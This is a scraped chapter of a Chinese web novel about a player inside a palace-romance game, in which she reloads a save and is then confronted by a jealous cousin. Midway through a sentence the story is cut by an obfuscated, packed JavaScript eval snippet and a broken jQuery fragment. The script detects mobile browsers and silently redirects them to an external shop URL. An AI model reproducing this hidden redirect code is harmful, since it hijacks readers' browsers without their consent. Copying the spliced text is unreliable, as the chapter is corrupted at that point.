文趣网 > 其他小说 > 第四天灾,但古早宫斗文游 > 38. 第 38 章
    我求你了我真的求你了时砚别乱说行吗?

    傅岁久已经在心里给时砚跪下了,实在是受不住这一出大戏。

    现在不用系统提示她都能感觉到,上下左右所有攻略对象都在紧紧盯着她。

    尤其是栾岷津,他看她的眼神简直是想在这里生吞了她。

    明明那双眼带着笑意,可就是让人毛骨悚然。

    他若无其事地玩着缠绕在手里的小蛇像是在威胁她。

    她闭上眼睛,从未有一刻这么想这个梦醒过来。

    可是再次睁眼,所有人的眼睛依旧齐刷刷地向她看齐。

    系统面板里,不仅仅是时砚的好感度在跌,就连其他四个人的好感度也在齐唰唰地向下掉。

    不能再掉了。

    她已经走过很多剧情节点,再掉她没有信心能在结局结算前拉满好感度解锁隐藏结局了。

    那可是1v6的隐藏结局……!

    好像只有那个办法了!

    傅岁久一咬牙一跺脚,猛地选择了回档。

    再一睁眼,栾烨因为盘腿坐的姿势重心迅速偏移,在颠簸的马背上摔了下来。

    “……傅岁久!!”他忍无可忍,一边捂着疼得厉害的腰身一边吼叫着傅岁久的名字。

    这妖女到底要做什么?!

    他怒气冲冲,刚要站起身又猛地摔到了地上,再起不能,只能让侍卫将他驼回来。

    “不好了!陛下受伤了!”栾烨受伤的消息很快就传到了营里,傅岁久显然也没有想到会有这样的后果,一时有些心虚。

    如此这般,今日的围猎算是办不成了,傅岁久也总算松了一口气。

    她顶着大太阳回自己的营帐,春阳紧随其后。

    刚刚脱下身上的大氅,将衣襟也松了松,门帘便再一次被掀开。

    寒风随着门帘的掀起朝着营帐内漫灌,站在风中的人是谢之郢。

    他目光微怔,眼神似有几分闪烁,欲言又止,总觉得两人之间早已隔了厚厚的一层屏障,不再是当时那个两小无猜的青梅竹马了。

    她如今到底已是圣上面前的红人,是宠妃,他再如何不舍也总该避嫌,这才不得不将脚步钉死在原地,攥紧了拳头垂眸温声问道:“小……下官参见云嫔,不知可否借一步说话?”

    他鬓角发早已被风吹得不成样子,碎发落在他高挺的鼻梁,眼下成团的鸦青看上去分外憔悴。

    从前在傅府上意气风发的少年变了样,原本高挑的身躯覆了一层薄薄的肌肉,算不上瘦削,可如今他连双颊都已微微下陷。

    她知道,是思念过度导致的消瘦。

    傅岁久看了看身侧的春阳,春阳便心领神会点点头,掀了帘子走出去。

    等到营帐内只剩两人,她这才向谢之郢招了招手,“过来坐吧,表兄。你我之间不必如此拘束。”

    男人垂在腿侧的双手被冻得通红,如今搭在剑柄上,几乎与佩剑下沿垂挂的红缨融为了一体。

    他依旧站在原地没有动弹,只定定地望了傅岁久良久,久到好像“时间”这个概念早已消弭。

    他尽力地想要从她那双眼眸中找回几分温存,找回几分自己曾经被爱过的证据,可只是徒劳。

    她的眼神算不上冷漠,却也并不算温和,只能算是出于对泛泛之交的礼貌,全无男女之间的狎昵。

    他知道两人已经回不去了。

    可是……

    “表兄?”傅岁久并不知道他到底在思索些什么,只知道他一动不动地钉在了原地。

    她望了一眼他被冻得猩红的双手,愣了愣,起身去拿手炉,走到他的面前递给他,温声道:“都冻红了,不要傻站着了,快来坐坐。”

    他双眸随着她缓缓移动,只是双腿却没有要挪动的意思,只反握住她的手,将她的手和手炉都一并合在掌心里,用拇指紧紧扣住她的手掌,不让她挣开。

    思绪早已飞到了九霄云外,他只能隐约听见她说他傻。

    他傻吗?以他默不作声地死守着一个人的样子,好像还真是挺傻的。

    讪讪笑了两声过后,他又伸手想要去摸傅岁久的脸颊。

    可手还没触碰到她的侧脸,他就感觉道自己的手似乎是有一些太冷了,这样覆上去只怕会感染风寒。

    他正想将手缩回去,却看见傅岁久将脑袋往后躲了躲。

    她,在躲他,对吗?

    昨夜他守在营帐外,几乎一宿一宿都没能睡着。

    同行值夜的侍卫们早已睡熟,可他听着屋内的击水声却始终合不上眼睛。

    她细碎的哼声像蚂蚁,无声地钻进了他的骨缝,不断啃咬他的脊髓,要将他最后一丝可笑的自尊都蚕食干净。

    他的表妹从来都不是对男女之事一无所知,甚至后半夜他还能隐约听见她嘤咛着予取予求。

    明明那声音都已经脆弱不堪,仿佛下一秒就要晕死在床上了,可她还是不知疲倦,不知休止。

    原来她不是不懂,她只是从未想过和他私奔,做他真正的妻子。

    所以那妖术,是她主动施展的。

    “不了。”谢之郢已经没办法再纵容自己想下去,只觉得再想下去真的会走火入魔,陷入偏执。

    练武之人最怕就是不知节制,作为将军之子他很应该清楚这一点的,不是吗?

    傅岁久看着他抬起又落下的手,愣了愣,正想伸手去捉却被他躲开了。

    他没要她的手炉,反是往她头上的发髻望了一眼,旋即叹了一声,松开她的手先一步转过身去,低声道:“是王爷让下官来寻娘娘的,还烦请娘娘随下官走一趟。”

    “他,他找本宫所为何事?”

    “下官不知。”

    “他有没有和你说什么?”

    “……娘娘,时候不早了。”

    她听出来了他显然是不想继续这个话题,自然不会为难他,便也不再问了。

    她掖了掖松松垮垮的衣角,将刚刚褪下的大氅重新穿上,揣上了裘皮手套,见谢之郢依旧站在原地不动弹,这才从他的身侧绕到他的身前,催促道:“那快走吧。”

    傅岁久才堪堪走出一步,身前却唐突地环上来一双手,将她往后一箍。

    她整个人都落在了谢之郢的怀里,身前的手也适时地错开,只用腕部按着她的小腹,将她囚在自己的身下。

    有她身上的大氅作遮挡,他身上的凉意并未能传递到她的身上,只是这身盔甲的确硌人,她下意识就想要扭动着身子准备逃脱。

    可谢之郢就像早有所察似的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718929|204621||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,双手紧紧横在了她的身前,紧实的臂膀成了环绕她的牢笼,将她牢牢困住。

    温热的吐息打在她的耳廓,瞬间让她身上激起一片薄薄的鸡皮疙瘩。

    男人低哑的嗓音仿佛恶魔低鸣,与她颤动的心脏不断共振:“小久,你就那么想去见他?”

    也不等她回应,他像是发泄似的,蛮横地在她的耳廓上咬下一口。

    傅岁久的耳朵瞬间环上了半个牙印,惹眼极了。

    她不明白他为什么突然拦住她,明明是他让她出门去见栾岷津的,现在又在生什么气?

    可他依旧不依不饶地将脸往她的颈窝埋,将她合在怀里,恨不得就此揉碎了她的身躯,让她永远和他在一起。

    低哑的嗓音缓缓灌入她的耳道:“他有那么好?好到你连掉脑袋都不怕,也要和他交欢?”

    傅岁久怔了怔,心说这游戏的确是这么玩的,她也不过是依照攻略行事。

    况且栾岷津给她的体验确实不错,就算不为了攻略她也不介意睡他一下。

    反正这只是个梦,不睡白不睡了。

    只是这些话她没办法和谢之郢说,就算说了他也不能理解她话里的意思。

    她想了想,干脆直截了当地问道:“你,这是生气了?”

    话音刚落,谢之郢环在她身前的手臂便松了松。

    他怎么会生气?他怎么可能生气?他凭什么生气?他怎么有立场生气?

    于她而言,他现在只不过是个远房表兄,比他更有权力更有威望的人多如牛毛。

    他有什么身份生气?

    谢之郢干笑两声,只长叹了一口气,改用鼻梁去蹭她耳垂上的软肉,希望能得到她的一丝怜悯。

    他在她的耳边低语:“小久,你知道吗?自打你入宫以后,我总会翻来覆去地做同一个梦。”

    “我梦见我和你在入宫选秀的前夕出逃私奔。你与我在马背上驰骋,从不问我我们要去往何方,好像只要我们能够在一起就足矣,哪怕是亡命天涯。”

    “我梦见你与我寻到了一处桃花源。我两用身上所剩无几的银两置办了一间小屋,同挤一张床。我们日出而作,日落而息,同育一对儿女。我会趁着野兽贴秋膘的时候打猎,捉一两只猛禽回来给你补身子。”

    “梦里,小久你总是会依偎在我的怀里,我也不会再害怕一睁眼就再也见不到你。可是……”

    谢之郢欲言又止,傅岁久的心也同样揪成了一团。

    她不知道之前达成的结局会成了他的梦魇,不知道他形体消瘦全是因为那个转瞬即逝的结局。

    “表兄……”她没办法再多说什么,只能轻轻握住他压在自己小腹上的手,攥起他的大拇指轻轻摩挲。

    谢之郢亦无意要为难她,见她如今态度软下来了自也心软得一塌糊涂。

    他轻轻扳过她的脸,要她回过头来看他。

    目光灼灼,几乎钉死在了她的唇上。

    环在她腰侧的手骤然收紧,她感觉脊背窜起一阵热意,烘得脸也不自觉发烫。

    可他偏觉得不够似的,非要俯首贴近了她的唇,却迟迟没有落下一吻。

    谢之郢只用手摩挲她的唇瓣,哑声问道:“小久,我记得你曾吻过我。你说,那也是梦吗?”